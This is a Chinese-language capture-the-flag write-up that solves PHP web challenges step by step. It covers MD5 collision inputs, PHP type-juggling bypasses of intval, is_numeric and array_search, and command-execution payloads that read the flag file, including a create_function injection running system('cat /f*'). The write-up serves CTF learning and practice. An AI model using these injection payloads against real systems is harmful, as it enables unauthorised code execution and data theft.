1.RCE但是没有完全RCE
显示md5强比较,然后md5_3随便传
md5_1=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&md5_2=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2&md5_3=1
下一个目录3z_RC3.php
法一:可以不用shell,直接利用cmd实现rce
shell=urlencode
cmd=system($_POST[x]);
x=cat /flag
或者用array_pop函数,返回数组最后一个元素
2.了解过PHP特性吗
<?php
error_reporting(0);
highlight_file(__FILE__);
include("rce.php");
$checker_1 = FALSE;
$checker_2 = FALSE;
$checker_3 = FALSE;
$checker_4 = FALSE;
$num = $_GET['num'];
if (preg_match("/[0-9]/", $num)) {
die("no!!");
}
if (intval($num)) {
$checker_1 = TRUE;
}
if (isset($_POST['ctype']) && isset($_POST['is_num'])) {
$ctype = strrev($_POST['ctype']);
$is_num = strrev($_POST['is_num']);
if (ctype_alpha($ctype) && is_numeric($is_num) && md5($ctype) == md5($is_num)) {
$checker_2 = TRUE;
}
}
$_114 = $_GET['114'];
$_514 = $_POST['514'];
if (isset($_114) && intval($_114) > 114514 && strlen($_114) <= 3) {
if (!is_numeric($_514) && $_514 > 9999999) {
$checker_3 = TRUE;
}
}
$arr4y = $_POST['arr4y'];
if (is_array($arr4y)) {
for ($i = 0; $i < count($arr4y); $i++) {
if ($arr4y[$i] === "NSS") {
die("no!");
}
$arr4y[$i] = intval($arr4y[$i]);
}
if (array_search("NSS", $arr4y) === 0) {
$checker_4 = TRUE;
}
}
if ($checker_1 && $checker_2 && $checker_3 && $checker_4) {
echo $rce;
}
第一层,无数字intval绕过,用非空数组
num[]=a
第二层md5弱比较
纯字母QNKCDZO
纯数字240610708
注意会翻转,要倒着写
ctype=OZDCKNQ&is_num=807016042
第三层intval长度限制绕过,is_numeric绕过
114用科学计数法1e9
514用数字加字母绕过!is_numeric
114=1e9&514=99999999a
第四层array_search绕过
arr4y数组里面不能有NSS,但是NSS的键名要是0
测试发现,当键名和值都是0的时候,array_search匹配不到NSS也会返回键名
所以arr4y[]=0
arr4y[]=0
提示下一页是Rc3_function.php
create_function注入
shell传空内容,nss传1;}system("cat /f*");/*
nss=1;}system("cat /f*");/*&shell=